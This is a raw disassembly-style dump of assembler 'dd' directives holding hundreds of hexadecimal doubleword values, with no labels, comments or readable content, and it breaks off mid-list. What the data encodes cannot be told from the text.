dd 453C526Dh, 0B688630h, 6E9A190Fh, 9B02C0F0h, 4654AFBh dd 0A4B03DB7h, 191CC623h, 1F031C90h, 0D7D2FC0h, 64CAE0EEh dd 0C6900063h, 3DD6109h, 3F003099h, 496B8758h, 3C30FE2h dd 0E7D14828h, 0F2895C94h, 0D573E039h, 0DA8F7E01h, 6FA5AF0h dd 25458CECh, 0E4A0B441h, 0F6159D60h, 26177512h, 0D6733807h dd 0D8E465B9h, 0CC100BB5h, 0B4C7264Bh, 809495C6h, 0C2B91048h dd 0C4788E00h, 13375075h, 41C64A25h, 0E69C2F74h, 94208EF6h dd 35F082DEh, 18180FA2h, 0C1003EFDh, 4913DD0Fh, 0EAC95D8h dd 434FABCDh, 7C65E540h, 1D7C944Ch, 495AED00h, 0E197CD7Dh dd 0F693E69Eh, 21F4EFh, 6148A29Ch, 0D8B637BCh, 848EC50Eh dd 0FC438014h, 0C7D089h, 0BDA70D35h, 10DFFD51h, 90DEBA00h dd 913EF341h, 3DCA4EA3h, 4210FA0Ch, 0DCAB8039h, 0C0362400h dd 7CFC1E5Fh, 0AD6E1E7Fh, 0CEF810DFh, 8A8381A7h, 0B160E4B3h dd 76F4E10Bh, 0D83103FAh, 0F63A889Fh, 2856B298h, 2F5D6E0Eh dd 0AF9EC07Bh, 7287B0BAh, 91181FA1h, 1C3E409Fh, 0FB5E53A3h dd 0A75ADC00h, 0B86E728Dh, 0E0A80129h, 0CFD51C87h, 2048D852h dd 16BAA403h, 0E82E7693h, 699EDFh, 1B49DD2Fh, 0CA79B44Fh dd 0B243E800h, 0FEE2759Fh, 78A200B6h, 0C02B56B0h, 37F23062h dd 65DDAC00h, 0A4AD9CEAh, 456F86Dh, 7068CA97h, 4E6CB03Bh dd 64BB9001h, 7CC320Eh, 1D992DCh, 0D36A790Bh, 108CB46Ch dd 0FED40C1Bh, 3E607C6h, 60EF5FFBh, 0F57EC3DCh, 0AE0F0E25h dd 9D13AE88h, 5AC0C20h, 7C10F310h, 60BC8558h, 4DBF8D51h dd 1333304Bh, 0A56CAE39h, 0C9B63Eh, 0D70CED02h, 327C48h dd 0C4A84CF5h, 1AA71966h, 2DB31807h, 0A481FC0Ch, 848E7D93h dd 7938140Fh, 69D84A0Eh, 0FB5290h, 0DB5A7CA1h, 0B871E5ABh dd 0C28EC3Fh, 2962450Eh, 3A84909Eh, 0D200A6A4h, 0F301D3B1h dd 93011C4Bh, 0E54AB22Ah, 744033A2h, 2491F260h, 57E85ECh dd 81DE3014h, 508D1DDDh, 8A1A4680h, 1FA6CF00h, 8065E6BCh dd 0E2D50F37h, 4D063A9Ah, 50011DCh, 1A71D74Bh, 621C0F92h dd 0DBB4C9F2h, 3E664A21h, 26120FCh, 64E9E2D8h, 0CB60FCFAh dd 13184F34h, 7B798137h, 6C2F0006h, 0C76A45AAh, 15009685h dd 3D7EEB37h, 0ADAFFh, 682B3AF9h, 705706BFh, 7A004FFEh dd 0C20BC07Eh, 6926C8h, 1F29F6A3h, 988B82D0h, 6A72D3Dh dd 0F39FD401h, 21B96008h, 38988164h, 55BF3200h, 80C3346h dd 6E2400E9h, 8CB14E4Fh, 4B181BD7h, 931802E8h, 30AB3BA2h dd 3F429407h, 16C260C7h, 0D00F258Ah, 847E319Dh, 220C8D43h dd 5C00C469h, 6321F1B0h, 17DF727h, 0F0CB7533h, 80D022CEh dd 0B536FF28h, 0C1F5AFCh, 2F9C25D6h, 21C00E08h, 0EEB5015Dh dd 432E2474h, 897E0CC2h, 222C26A0h, 71303382h, 651BF0h dd 0D2BE465Fh, 0D3364B21h, 21CEF3E8h, 6865A72Fh, 6F149ED0h dd 6DFA0089h, 0B09D3CF1h, 50A0C552h, 17304321h, 8B5A10E3h dd 2F22033Eh, 6AE1B69Fh, 24301DA8h, 4E0FAD00h, 35717465h dd 46A43E92h, 0C5776F80h, 901450F5h, 5B01D101h, 62B0D24Fh dd 0A16770h, 464B039Dh, 3A470B12h, 5B28BA24h, 0DFF35207h dd 0C486076h, 1F40CA33h, 0C5309E18h, 0FF946084h, 763D3D96h dd 22D1D303h, 30074D02h, 2BBF577Ch, 1EF0284Dh, 2119C4A1h dd 6F51C03Ah, 8C60350Fh, 6D38F1A9h, 27400099h, 7BEF156Ch dd 4E00B5D9h, 0D2B13508h, 0C01DFA57h, 0E0FC5351h, 9076ED77h dd 0FFA0C101h, 0FD2B2102h, 0A2A6F0h, 38C60741h, 1CD1D9EFh dd 95260118h, 0E1DBA8h, 0AD5FFD1Eh, 0DCEC5D9Bh, 0AE3031FEh dd 0BB212073h, 395CA01Ch, 32E8B1h, 26C1F27Fh, 0B8D07648h dd 0F3FB2301h, 0D1150A11h, 60F7D0h, 8CB0AD1Dh, 0C1D9F253h dd 8FDBE31h, 20841023h, 80B0822Ch, 9D2481B3h, 52F87300h dd 31B7DE79h, 94207FBh, 0E0CB3D70h, 0E5DA8EFh, 8F92F73Ch dd 0B8C4F5AFh, 367C068h, 0C1721913h, 0BC97F99Dh, 21C0EE08h dd 0A13609Eh, 0CBC20033h, 5D4F3893h, 0D0602431h, 0DDEB3DA9h dd 524618AEh, 187110DEh, 0C9682C00h, 0D0D22469h, 67217439h dd 10FF216Fh, 0A436672Ch, 5557D500h, 46D03FF0h, 0D7810C9Fh dd 82A8EFAAh, 1364028Ch, 0AA697562h, 0A710C219h, 0F2001361h dd 2A691BCEh, 1FE5CC3h, 0F83D2BC4h, 0B19B440Fh, 22118092h dd 8EAFF0h, 6AF282EDh, 52D7053Fh, 0B7891000h, 0F088C351h dd 31AD6068h, 0BCF2546Fh, 1FD66501h, 0E7D3E4D8h, 0ADFC00E3h dd 0AE6EF4FAh, 0E4AB28A1h, 0B0E76084h, 0E2532386h, 12002411h dd 0E5CDB0ACh, 0D007A1Eh, 0D241A0D6h, 0A220D9A7h, 0E3B000B4h dd 0C032FD9Fh, 1C9DCA10h, 947E9142h, 0F28110Eh, 1C0FF79h dd 3BE96C5Ch, 0E07DFCB7h, 0C89E0338h, 15E3BC4Ah, 0EA33080h dd 49CCF004h, 0B1801BA4h, 467C60h, 31AB1727h, 1ABFA935h dd 529F0600h, 246E5802h, 908F0346h, 6AF3176Fh, 549D7790h dd 0C197A100h, 3AC8898Ch, 634400CFh, 34D1B0B1h, 5900FA0Fh dd 5D2A9790h, 22DF63Dh, 689F8437h, 0C7C0467Bh, 0BC07EEDCh dd 1A623AC5h, 0E6FE251Fh, 0D2812E80h, 4D98019Dh, 23EB8794h dd 83C7D8C3h, 270055F2h, 0CA5C9F26h, 3F1C69C4h, 700029F7h dd 0E6507139h, 0D73AB289h, 9A239D42h, 0CA66857Fh, 80003A99h dd 5B7B1E78h, 18320075h, 93D4F11Ch, 260031C8h, 0DC8605E0h dd 77A5D7DAh dd 704177C7h, 0AAC43CF7h, 74449905h, 7FACC0EEh, 0FB001F30h dd 45AF0D7Eh, 39BA2ACDh, 4680A273h, 29DBB5F5h, 0F400D641h dd 76710C66h, 2562510Eh, 0B6832602h, 0D3B065F1h, 0C3FEFF8Ah dd 83016C00h, 6E846635h, 0E9BAA0B3h, 103B1CF4h, 0F44164Ch dd 1C80C491h, 560BF73h, 0AF07D7E0h, 0B6310679h, 49C91031h dd 3B89F0h, 0E85D04A3h, 226A40ABh, 11205761h, 0D5F802D7h dd 0DEBA005Eh, 0C5FD49E9h, 380036C0h, 3B1A5F68h, 0E132110Eh dd 0DFB62988h, 90CA9188h, 0A6BF826Bh, 24205A0h, 33292128h dd 23E71702h, 2928533Dh, 0BD3228DEh, 10232932h, 0AA885484h dd 276688DCh, 7E08CF89h, 84A65744h, 4236ED22h, 4DB5111Bh dd 22393221h, 64C75035h, 0DE6C457Fh, 0CF561482h, 75219324h dd 81981751h, 0BD234A43h, 5074CCDAh, 0EDB16A06h, 1477A8h dd 0BC0AD644h, 5EB5F005h, 9B67E100h, 0F478C380h, 33501D3h dd 0C14B6AEFh, 0ED8AD070h, 68899F07h, 7A21FB83h, 0BD40886h dd 8B6D00F1h, 7E9B4995h, 6200CAD2h, 39DC3B06h, 1E1105E4h dd 803F3DECh, 37184361h, 5A007256h, 2814CAF8h, 0AA6626h dd 8199270Dh, 3574187h, 9B00D7FEh, 86ECC3D6h, 3BAB6A10h dd 0AF8F891Dh, 0D8818769h, 8E6219DEh, 3EAA1F21h, 10D1A58Ch dd 2CB50044h, 352A9EBCh, 0E1006805h, 1DC2E48Ah, 1C7A2972h dd 80E33A45h, 14BB35E6h, 31047889h, 75C1E8F2h, 0BF805884h dd 3C4D37h, 588F2FA7h, 1DD76461h, 0EDDF2707h, 0A0BFD9FEh dd 671020A6h, 0AAE20772h, 0F16242E3h, 0E8FC3F2Ah, 8D07F7C5h dd 0C7EE601Fh, 0C1305E50h, 67CC1E87h, 0B200FC5Dh, 84A5DF0Dh dd 0D04CB9F6h, 6C141CA5h, 0EB78C6D8h, 0FFF00DEh, 8520941Dh dd 6400EA06h, 82D86A6Ch, 0E5850h, 0F56799DFh, 92BF4837h dd 32F1950Ch, 20FAD01Bh, 4D0146E9h, 0A08803F6h, 0D0D3D9DAh dd 73A8A3B0h, 22CD00E7h, 55C57DAFh, 6600EE9Ch, 1BCCC9FCh dd 0A2B5Eh, 0A21A804Bh, 0E00D4873h, 6100B879h, 1D3AD2B9h dd 515AF3Bh, 976F4F51h, 0AE1780E3h, 7F00757Bh, 0CB84B457h dd 0B00CEFB3h, 0CAA807D6h, 4E969001h, 115C6061h, 17ED6025h dd 0D68E800h, 401044EFh, 0FD890779h, 1E3635F9h, 0AA5545C0h dd 0A35BAC7Eh, 0F700F6B8h, 0E7673CCAh, 0CC005CA5h, 0B981C2D1h dd 0FD395DBh, 0A048066Fh, 0B5D1A60h, 60FDAFCEh, 6D002787h dd 0DA3226C7h, 0ABF9A5C5h, 72F4C980h, 16717510h, 0FDB38200h dd 97A68339h, 68170023h, 0CAEFA406h, 0DD079A42h, 0F87B4B94h dd 1E3ED0D0h, 6C534CBDh, 0DF611D00h, 0F27075D3h, 0A37F0300h dd 15D2F382h, 181402FEh, 7458A759h, 0FC41D980h, 101C806Eh dd 0EBC2BE52h, 60A2E862h, 1A96C48h, 0C1C4D5B6h, 0C02B9B7Ah dd 2E9C449Ah, 0A5F32301h, 8421EB0Ah, 3708860h, 0E20907DBh dd 0C79971E5h, 0E499D8E8h, 0F9B6CB00h, 0DA3C04AFh, 768F0009h dd 824D0DFCh, 0E876F58Bh, 188D49h, 73F8C384h, 7D994FAh dd 826ABA8Ah, 8BF1C034h, 7500B129h, 1E0D2D89h, 30BFCB2h dd 0BE44525Ch, 20E790A8h, 0AD861CAh, 0B77ADD00h, 9F8A83DAh dd 6AC600BAh, 2F496DEFh, 6C5042D3h, 0B9F0ADE4h, 6B952400h dd 8C6F581Dh, 0E16100E9h, 1431B68Bh, 900CA48h, 0DA2FB092h dd 0EC4DFh, 37C08C3Ah, 4A5C7AB8h, 2546E300h, 7FFCF91Bh dd 0C2AA008Dh, 0B11242C1h, 0F400D38Bh, 35BEB419h, 0F6AE6674h dd 4B130714h, 0B0482D9Bh, 96EBDF5Dh, 0DB886C00h, 49C84030h dd 72F01C3Bh, 0FB4B80B8h, 4F1B8145h, 0EA0F5B00h, 0B07B1761h dd 0E5A9ECAh, 720226FFh, 0BB400E51h, 0CE00FDDBh, 3A2831C7h dd 132FE1C9h, 8A24A5h, 0E23C63A8h, 0EC1C7AB3h, 5DC0F235h dd 6C5A1654h, 8F100E1h, 4B66E52Eh, 9E007E0Bh, 26A6EA97h dd 72FA3Eh, 46983E8h, 8C73424Fh, 0DF88F300h, 48909145h dd 7B498D3h, 0C25BD76Fh, 0DE2303CEh, 6240CDA0h, 8B74E738h dd 0AE7037h, 7A9E1CFAh, 5BF000A4h, 2F3F7FF8h, 0D01FCF53h dd 6D5D6AF2h, 0CC83FA40h, 0A48403h, 47AC15CBh, 5B3E08FEh dd 0BFE6CA00h, 0DEC9EB07h, 0C7F10090h, 49164EF4h, 51985DC6h dd 45321500h, 0C2F7307Bh, 0E44F125Ah, 173800D7h, 0E2ECAB9h dd 3D1A0109h, 1A7881h, 38C0B225h, 96124669h, 5F419E00h dd 2AFE81B6h, 0E7A50058h, 256C421h, 0CE3C8997h, 0F3B20046h dd 0C21B6C9Dh, 0D2FB0047h, 4B6392D3h, 0FA04ECF8h, 6BB3F69Ch dd 0E96E3C80h, 32A00D9h, 50060C57h, 8D000453h, 0C551AD59h dd 7C7328h, 904411F1h, 6B972EBEh, 5C1CA00h, 6FE5DCFEh dd 43E80073h, 0BC8F261Bh, 0E2174634h, 80400250h, 0E672E31Eh dd 0B0C64C0Ah, 59A30078h, 0D43B510Bh, 0B300BD6Dh, 0E0FB6F28h dd 0D896C2h, 7D3171BCh, 0CA1BEE3Dh, 0DE6CC00h, 0E9624D2Bh dd 51E300DFh, 93DAA210h, 0B70026D2h, 48FB7E4Ah, 64AD808Fh dd 0C0BA7805h, 0E715BD00h, 0E3777B00h, 0D8845F36h, 0A3E0087h dd 4A6DA699h, 0D41C572Ch, 7580ED9Ah, 68F272Fh, 17DE00A9h dd 0C67CD3E5h, 350079F4h, 0AF3B581h, 0E0119E9h, 4E54A0CEh dd 0A8429F60h, 4617E54Fh, 0C70EE65Eh, 1A41453h, 0E1A591B5h dd 0F8CF8A7Dh, 5A35F2h, 7F9B9AE8h, 0B4DE04BCh, 7E95058h dd 0B9C6849Dh, 0F025F310h, 51E6001Eh, 6892556Fh, 9600AB33h dd 99C35AD5h, 3F3E547h, 34C88928h, 0FAE8FDA8h, 0A6007A56h dd 389D2205h, 0E411ABh, 0C4BDF27Dh, 715B59AAh, 7FFE1348h dd 73D91600h, 65EEB158h, 3042006Fh, 6E7AB72Eh, 0EB0E5A41h dd 0A087105Bh, 86FD015Eh, 0F4BF272h, 5409A976h, 0A8BB3801h dd 9A30E470h, 23B22400h, 97EE8E43h, 67950058h, 7C458AE0h dd 32F6B429h, 0CB6A2D0Fh, 0ECD360B1h, 0B8841Ch, 45E896A7h dd 0BC4C49D9h, 639CBA00h, 0BB43F960h, 4F3D007Fh, 3FA1AB7Dh dd 0AD2C2191h, 0CB0370DEh, 98CEB3A4h, 3FFA9DBAh, 5D80F2B6h dd 0BF3CF310h, 6B7B6ACBh, 92587D00h, 0ABC52EB8h, 0EDA90049h dd 41E887A2h, 0E8FF937Fh, 3C005459h, 39DF8EBEh, 14D056EAh dd 0EA1A504Bh, 2474A700h, 40E8A53Fh, 595A0204h, 15C0354Ch dd 197099h, 7A53AAAFh, 8D0AA227h, 0CF006698h, 7298871Dh dd 1CEB2279h, 5CE27Eh, 895071C5h, 95E41B36h, 0DCAA0900h dd 0B83D42E8h, 35FB0778h, 60B2639Fh, 2B2CD0C4h, 2A00AD78h dd 60B0F479h, 494894h, 92ED5E6Fh, 1532446h, 8073E439h dd 81CE8799h, 5D36B35h, 0AA789E51h, 68E000F4h, 0CA5CFF61h dd 8A776704h, 2BC775D4h, 50A6B700h, 4CD002F7h, 619E8FC3h dd 7594C0C0h, 23609800h, 0EF4ED545h, 628D055Ah, 0CE528Ch dd 3B472BB0h, 827D7E15h, 0B8A46300h, 0E09587BBh, 0D76503B1h dd 5DEDE55Eh, 0CB66A0B8h, 0F16AD600h, 18A92AC2h, 2E3518EFh dd 2B62A008h, 9963FB00h, 29F6C4D9h, 20DF1C8Bh, 140A80B9h dd 0BECDB0A2h, 4FE6FE00h, 0BB91D6A5h, 56EC0115h, 9CA23B24h dd 0FA61C094h, 27B9E304h, 30801C34h, 7E95438h, 9703B7C6h dd 0F975E130h, 1A1860B0h, 0DBD82700h, 26BCEE0Dh, 43180186h dd 0EAD9AF2Ch, 8E45F0D1h, 0CD107100h, 2117B9DEh, 67F10061h dd 8BFDFB2Fh, 9C014AA5h, 1966C7BFh, 40FEBB42h, 0A0BD18h dd 36689978h, 62ADA1A7h, 0C04D90A0h, 0F5548900h, 0BDD6BB96h dd 9E7F009Dh, 28A734C4h, 767B1C20h, 4D948A03h, 0FB73A940h dd 8009C291h, 88840694h, 2C1C053Fh, 0C0AC0F9Fh, 0AA3A5FB5h dd 46002090h, 5377A747h dd 1411C9Bh, 9C6F95ABh, 0FC79EDB0h, 0CF0001C6h, 0AE3F8437h dd 50915BD5h, 20949403h, 6000028Ah, 75F0D2E1h, 972AAE4h dd 0EBB327F4h, 7B389818h, 2C3A2501h, 8E836015h, 7512DF8h dd 0F37D45Ch, 72083013h, 0FF004E2Fh, 0D364D00Ah, 50A1A5D1h dd 2865AC8Dh, 0B82506h, 0D7E64994h, 6CB65B80h, 0CD15DB1Eh dd 90EF141h, 3881EB31h, 638FA3ADh, 17A4709Dh, 0D6A7D000h dd 18288280h, 706600C4h, 6CA564B5h, 9A000381h, 206FD9BDh dd 0FB3E477h, 2243BE15h, 2B426BE0h, 3B04F139h, 4DE8B26Eh dd 0F492191h, 71AA5C20h, 0F0A1249Eh, 92590254h, 0C620CA2Bh dd 0E2C9C5h, 0CFDF6CDDh, 1C121E6Dh, 0BF03FA79h, 0E084D9A3h dd 0C25AD037h, 55EB1E7Eh, 0BAF0C325h, 0C0A88A3Ah, 0C5017488h dd 90686FFCh, 540027D1h, 8E45C8h, 3B0656DDh, 0E9408A58h dd 0AE3E3704h, 509026B3h, 7E65FCh, 9BC95554h, 4CA8C6E3h dd 0A9906A00h, 83F70B7Ah, 0ADA4039Ah, 4AD3B991h, 3F4D79E8h dd 0FEAE4002h, 687B4839h, 4565ABCh, 8C61F6C0h, 0C510C0A8h dd 46262610h, 0B700E854h, 1ED121D3h, 0F71D0001h, 8A9E11DDh dd 3300FAE6h, 518DC307h, 98C53FF9h, 7C6500F4h, 738BDDDCh dd 58B01E35h, 0E89BAF00h, 0AAA1D939h, 5FA730DEh, 463F388h dd 0D5FA70E5h, 0C4005CEEh, 60FB7B71h, 3486EFh, 7A14BC7Ch dd 30F75D7Dh, 0E2712900h, 4DF4AB6Ch, 4708003Dh, 1B48C7F5h dd 0F000AC12h, 0B21FBFCDh, 10C5CF9h, 5B2FCC0Bh, 0D86A9B32h dd 1DF42EA0h, 7DF7BB00h, 0C7A4E79Ch, 2CAB02ACh, 9641D73Dh dd 4D045440h, 2C09F940h, 264B8C92h, 374E0083h, 0F40CC3Ch dd 751EEE01h, 5AF9B8CDh, 599060h, 3B720E83h, 2D55C116h dd 22B94E00h, 0E0395C27h, 750B00CAh, 34CC0E1Bh, 0CAB8E6DEh dd 0F2012C77h, 0A55B0D3Ch, 820D366h, 0AA460368h, 0BF793218h dd 0FADE3F98h, 0FE003CB0h, 17CEF892h, 0EA5DFB08h, 144DFC2Bh dd 0C643E166h, 22818C39h, 6B88F48Dh, 0F5A080BFh, 5B56BD58h dd 8C01DE6h, 0FB3AC06Eh, 1889CC69h, 9846AF29h, 3784EC80h dd 12FDB6h, 0C06C9594h, 0C79133D0h, 200F27Dh, 0A4C3EF8h dd 3EA540DAh, 0F82533Fh, 0C1683AECh, 347085F5h, 0A65245C0h dd 16ED30A3h, 8E80A958h, 44D0871Dh, 0AE4F7240h, 8F3BCBh dd 9057B1DAh, 9DD239D6h, 6B504400h, 0ACA24F33h, 96690014h dd 0B00A809Ch, 1F0098A3h, 3B6B7A9Dh, 7A954F4h, 0FAD1AF0Ch dd 3020B94Dh, 0ECB47323h, 85FF7C09h, 614500E3h, 10B0E1h dd 0D672D1Ch, 4C870A6Dh, 0A0C18D0Fh, 0D771E019h, 985C255Bh dd 1E5E29Eh, 0A26B63BAh, 20D5617Fh, 0C6008230h, 23010C2Dh dd 24B8E06Ch, 2A8BE9Bh, 4E5733DCh, 0EB830FC0h, 28E49800h dd 8470A91Eh, 9296005Ch, 6A1B1379h, 0D2000E08h, 80CBD90Ah dd 7AA48A50h, 13FF5C1Ch, 9D0C9E07h, 384042AEh, 8CC06E2h dd 182C0F00h, 886DE4D8h, 5430E1A5h, 0BEEA13FAh, 0E81440C2h dd 3C16DF61h, 47EB4603h, 0E0B7235Eh, 7502A98h, 20F99635h dd 0AA9D1043h, 0EA007854h, 0FB3C4863h, 70EA8C1h, 0D1C01F65h dd 2BEC3074h, 0B400F283h, 0C51A0218h, 3C9E91h, 1789A56Dh dd 0B1F993C6h, 0E9105C01h, 0B0E713C7h, 6B887F0h, 0D51E6BB2h dd 5E031C5Fh, 0F160F296h, 0A1E8C86Ch, 0D2A802C9h, 28D4C776h dd 0D4E14C41h, 4A003D52h, 95F6E024h, 12CF6254h, 78767A8h dd 8EB96B58h, 0C005C587h, 68AB38FEh, 378FE400h, 0FD239CE6h dd 0AAD300ECh, 702F3F14h, 8CA1169Fh, 41A0FC13h, 1E00277Fh dd 0DB2DC5D9h, 0E2FE42AFh, 58C200C4h, 623059F4h, 8E00E71Eh dd 0CF94910h, 5CD5D4h, 0B8A02806h, 0D147A1B1h, 0FD0D753Bh dd 0F94F4000h, 6C923D90h, 74EB0EA0h, 6D80BB9Ah, 0B9D00304h dd 0E2DDBE00h, 0D870D5FEh, 0A4E300CFh, 0DA247C45h, 0F60044CBh dd 3C7820ACh, 0E85542B8h, 5320997h, 4885012Ch, 0FD9400B4h dd 0CC89401Ah, 422D6B16h, 63BB8C02h, 0E23C0ACh, 622C00E4h dd 8F6B55B4h, 26075FD6h, 82331218h, 3CFBB930h, 11EE004Dh dd 2EA8165Bh, 6913E07Dh, 88006DDEh, 67DFA95Eh, 99CF1D89h dd 0E0C5CEEh, 0E2E034A7h, 29DCB4ABh, 0C4281701h, 12CB0DD4h dd 91429834h, 41400C54h, 0A33F5504h, 9A5B1D9Eh, 681C5E00h dd 72E375E7h, 9590023h, 1D5AB443h, 0C1131F72h, 940F7D6Dh dd 824AE196h, 67C0663Eh, 6F2B8h, 0A2C3B9F2h, 3662B264h dd 905B8707h, 0BB70EB41h, 445D66BFh, 8469DBh, 6CAC4F1Ah dd 0CAF58DFFh, 27204107h, 0B0245411h, 3A14A0C0h, 0A0FB4958h dd 45363104h, 0FCB806E3h, 4E0A3811h, 65F84D00h, 6AC87CCDh dd 1426E20Eh, 0CC77A366h, 86781406h, 3980A4C1h, 3F637164h dd 2FFC5703h, 0F9DF3D43h, 76E8C10Ch, 7C8B00F9h, 9697FD05h dd 3898544Dh, 0E30F9C1Fh, 224CC04Fh, 4815D50Bh, 0EA1DA98h dd 4211719h, 12C0428Fh, 45F6E4F8h, 0A7DA38C0h, 2FACF1F2h dd 6C787393h, 78AF1C1Ch, 2C401EC0h, 399077FCh, 0B5BB14CEh dd 0A9171100h, 2AB763BEh, 0E1254301h, 915924A2h, 3015F8h dd 19659B97h, 0B2EB5DA6h, 3F9FD001h, 0F97A3163h, 4A163C30h dd 904C1234h, 277C8C6Ch, 4E2C4A00h, 30F5564Bh, 0CBC2008Ah dd 0E4BB716Ch, 0C000487Eh, 0A93AC90Bh, 1DF5E11h, 98588F15h dd 702A6340h, 0F92E0490h, 1200C0F2h, 694EE644h, 746D2EF7h dd 0DDEF8F60h, 596BC027h, 0CF03A864h, 0B5FC76Ch, 45290723h dd 0E08B68B9h, 9FEC227Ah, 248FCD26h, 1333E400h, 1B87BDh dd 17B9E1D9h, 0F34D7A95h, 0B7078800h, 74D36C7Dh, 6B6A00E3h dd 0D5E139B2h, 23EE412Bh, 7A974503h, 593E60h, 303A6811h dd 4E1F9EEBh, 0FBD5D803h, 0B1A32238h, 6E490EAh, 9820E560h dd 0A2D3008h, 1304D118h, 0F2FDEE26h, 12DFFF00h, 3E82B3AAh dd 0CA847833h, 0C06E8947h, 0BFD68A78h, 0F4D94Dh, 5387BA95h dd 0C0AC31E7h, 885B7220h, 6096CB92h, 24460400h, 227120Dh dd 0D09A150Ah, 0A05AD72Eh, 0E9607413h, 62963700h, 0FCE552h dd 936AFBF6h, 0C059D276h, 0EE075000h, 0A3A704E3h, 0F1700AFh dd 0B8416F2Dh, 6134515h, 57036BA8h, 0B065B0B9h, 1F8E5BEh dd 3EA94033h, 3CD22F75h, 1F7E002Ch, 0C4F56A57h, 5FA0621h dd 4904BA77h, 24110824h, 0A40337A8h, 0B7BD02B6h, 8063D374h dd 0DC10DFh, 1A13DAE3h, 7FE6AE14h, 381C9D90h, 68C07220h dd 9ED570EBh, 370600EDh, 347C8988h, 0BCEE87B4h, 400B27Fh dd 0CD68C384h, 2115CB9h, 0E3B6C60Ah, 0A8C34AC9h, 0CF9C99D0h dd 32AA1903h, 0A7F8CE39h, 9D468590h, 0AB08077Bh, 739F9B21h dd 7FF81FFAh, 7A0722B1h, 0A211D5A4h, 7EEC0AB0h, 0F23F0029h dd 0B10FE7DBh, 0D3005730h, 1FD366Ch, 0E34288Bh, 0F8049FB9h dd 0C48E2020h, 4A004C0Eh, 0A6FCFACh, 0D384F0D4h, 55B209B0h dd 0B6E08900h, 0DA009443h, 0FCCC1A0Fh, 5BDC3Dh, 0F8A7E58Eh dd 406EC03h, 0EC8C400h, 69BC15E9h, 67920070h, 54831BC0h dd 0EA07DF8Ah, 9F26322Bh, 7BDC8760h, 0EB81129Dh, 0F7DD004Bh dd 9CB2BDF9h, 5C36EE0Eh, 0C48D8357h, 680AC8B6h, 0C32800D7h dd 2B4E0150h, 0E7002AA7h, 0F95862E9h, 144A1AAh, 77AB8159h dd 70F7A21Eh, 0C903F18Ah, 873214D8h, 2A49908Ah, 9C463C64h dd 644F5918h, 2819EA52h, 0F238ADB9h, 543EE0h, 85FEFF33h dd 45EAA17Ah, 3D9D6E00h, 0C32F5DAh, 5A0400ECh, 158D180Ah dd 4300BA28h, 48C3B072h dd 1F36A0D8h, 4974E5h, 374A5409h, 0D00ADF2h, 1933B04Bh dd 4261F1h, 410F2577h, 310EDD5Eh, 0F5D3D005h, 0CC053568h dd 6180C564h, 4FB4AFh, 25277FECh, 0D02D6051h, 0CCA4AD00h dd 45E871F6h, 0AB7DB5h, 5AEE7A9Dh, 0A3C1EDA2h, 0B600FFFAh dd 0B2380447h, 9059313Ah, 6F94385Ch, 52F9378Bh, 0C4876580h dd 13070526h, 0DCFBDEA0h, 21676D90h, 0D38B00C8h, 44429CB1h dd 0CC00E2CBh, 66110591h, 0F7058F6h, 19035AC2h, 3ED83D60h dd 6EFCF3DBh, 0BE938914h, 0D69505B8h, 0C000D58Dh, 0ACC29205h dd 0D12D16BAh, 0F307016Ch, 0E6417724h, 2900C089h, 2018B3FEh dd 3B00E248h, 0F2E40042h, 0A98295CEh, 1137246Eh, 0B8640108h dd 0DC156F8Bh, 725C178Ah, 1E355889h, 2880BFA2h, 9B4A9105h dd 15FA83h, 0AF0C57FAh, 4E7BB0BBh, 0D9A7B212h, 0A34C6407h dd 170E3B6h, 0EAB4A048h, 2426F4F0h, 0CA0C4E1Ch, 11B39558h dd 0BFA700C9h, 4C8956E2h, 554C5BBEh, 19130004h, 0E8B1E1Fh dd 56710B7Dh, 9A800FDCh, 0F66EF4CFh, 1574A107h, 80CE55CAh dd 0E3013D09h, 0A473F1h, 79F63CAAh, 0D4C8171Bh, 19488B00h dd 0BDF30E8h, 70B3ECFDh, 0BF470793h, 8084DABEh, 0EC823D8Eh dd 0A54CFB07h, 9BC7C0FDh, 0FA33F760h, 5BD4036Fh, 837AEAF2h dd 0EC53FBC1h, 66F49299h, 93DE4500h, 68D63C2h, 501700B7h dd 0E8BD61C7h, 0B0134E75h, 5403F32Ah, 9D945499h, 0ABE4FE00h dd 72CD41h, 9670AAFBh, 0C795897h, 5631D000h, 0B73B441Fh dd 2D2B0FFEh, 0DA80458Ah, 4DAED3DDh, 95DB7900h, 0F991B44Ah dd 45AA12A3h, 57F040A1h, 424B559Dh, 5048F00h, 1BCA2CB4h dd 92BC018Bh, 0FFADE9ABh, 833CC34h, 46D8B750h, 68016709h dd 0FFC2003h, 2331A18h, 4C9FE0DCh, 886039D5h, 0D100BC0Bh dd 6E9C4D62h, 59B0E3h, 0A5863622h, 0C84BFAB1h, 3244401Fh dd 480C9ED3h, 29BDAE0h, 360BDA99h, 0CC40A4BDh, 0E1001BB6h dd 0A43A9CAh, 0EB8778h, 0C06581D0h, 885AE316h, 0D39A4812h dd 0C51C4400h, 0CA09C4Eh, 1663145Fh, 15010C19h, 714AF0B8h dd 0D020496Fh, 9C9A32h, 8762D7E5h, 434E3011h, 0A8CBA400h dd 0B7927C9Ch, 609100C5h, 0D1992BDDh, 9000FB34h, 9F1CFD55h dd 0FB7A1F7h, 2ADB388Ch, 0E3730D80h, 0DD00774Eh, 5C3A3266h dd 0CF8F5BB2h, 2400A5C8h, 7503B479h, 0DBF5901Ch, 2340EC5Ch dd 3625D073h, 0D8C0076h, 0B19E8E5Dh, 0EE9CF82Ch, 0C6B4600h dd 1768638h, 0A4873AA6h, 0D041FFCDh, 0A55C6221h, 0A8E341D3h dd 6A00AC82h, 0CA6B7591h, 689A4Dh, 28E1DE09h, 80DBF321h dd 0B43BD91Fh, 676A4280h, 1411FC5Fh, 0AAA10AF4h, 0BF3930Eh dd 14AEB7E3h, 0C76D5EB8h, 0B2123100h, 1B836B5Ch, 43FEB6h dd 0CF40BEACh, 27EFD974h, 6823CE0Fh, 0FE5883B8h, 966EC86Dh dd 0EC7F01h, 0B311E2EEh, 0E90508DBh, 500C3Ch, 0E455B82Bh dd 54A907h, 5CF1F917h, 7D5B706Ch, 0D9F3AD00h, 0FFD35282h dd 2F090027h, 0C998919Ch, 810C7BA2h, 1A14E93Dh, 98A87636h dd 8C710064h, 418ACFF9h, 0DA583FD6h, 7EC20145h, 0B5B4E08Eh dd 1F289830h, 7D112F8h, 55E5B82Eh, 7FF2C06Ah, 0BD00E73Bh dd 8F1DC8CDh, 1F2DA1h, 5C5DCC11h, 0AF4A6EEAh, 70EA577Ah dd 0B627DE00h, 7ADD2844h, 690D12D8h, 3290407Ch, 0FD8ABA13h dd 99C56200h, 0F5117558h, 712B0F87h, 